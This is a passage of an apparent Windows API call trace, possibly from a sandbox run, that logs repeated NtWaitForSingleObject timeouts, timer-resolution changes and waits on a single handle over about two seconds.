	[0066.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.247] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.249] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.250] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.254] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.256] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.257] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.258] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.259] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.261] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.264] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.265] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.265] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.266] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.268] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.272] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.275] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.276] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.277] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.280] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.287] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.291] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.293] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.295] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0066.295] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0066.296] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0066.296] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.313] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.329] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.331] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.334] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.335] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.339] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.341] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.343] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.344] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.349] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.352] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.356] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.357] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.360] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.364] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.366] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.367] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.369] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.371] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.373] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.378] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.380] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.382] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.384] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.387] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.391] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.395] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.397] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.398] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.401] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.403] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.405] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.406] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.409] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.410] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.412] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.413] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.415] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.417] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.419] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.423] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.426] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.428] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.430] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.431] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.434] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.436] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.437] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.439] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.441] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.444] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.445] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.449] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.451] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.455] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.462] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.472] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.482] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.493] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.503] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.513] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.523] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.544] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.554] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.565] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.575] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.585] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.595] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.605] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.616] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.626] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.636] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.646] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.656] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.672] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.682] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.694] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.704] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.715] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.725] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.736] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.747] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.758] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.768] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.779] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.790] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.801] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.811] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.821] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.832] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.842] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.852] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.862] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.873] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.883] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.893] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.903] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.913] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.924] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.934] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.944] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.954] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.965] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.975] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.985] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0066.995] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.006] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.016] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.027] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.039] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.049] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.060] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.071] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.082] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.094] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.114] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.125] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.135] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.147] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.162] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.173] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.186] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.197] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.207] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.232] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.256] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.256] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.258] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.258] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.289] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.296] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.355] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.361] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.361] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.362] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.362] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.367] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.368] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.369] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.369] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.386] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.386] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.388] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.388] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.389] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.389] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.391] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.391] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.404] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.426] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.441] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.444] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.445] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.445] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.446] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.446] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.451] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.451] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.453] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.453] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.470] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.470] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.472] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.472] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.523] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.526] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.526] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.526] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.527] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.527] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.532] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.532] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.533] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.533] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.551] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.551] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.553] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.553] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.588] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.588] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.592] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.595] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.595] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.596] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.597] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.602] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.602] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.603] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.603] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.620] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.620] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.622] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.622] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.624] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.637] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.659] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.659] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.663] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.666] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.666] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.667] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.667] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.672] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.672] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.673] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.673] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.690] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.691] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.692] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.692] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.735] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.739] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.749] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.760] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.763] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.763] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.764] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.764] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.785] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.785] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.796] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.796] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.840] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.841] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.850] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.851] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.851] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.853] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.853] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.872] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.873] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.877] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.877] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.925] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.934] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.935] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.935] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.937] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.937] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.955] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0067.955] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0067.960] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0067.960] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0067.990] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.000] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.001] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.007] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.008] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.008] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.010] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.010] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.028] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.028] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.033] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.033] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.072] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.073] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.084] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.085] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.085] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.086] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0068.086] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.102] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.110] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0068.119] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0068.119] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0068.173] timeBeginPeriod (uPeriod=0x1) returned 0x0
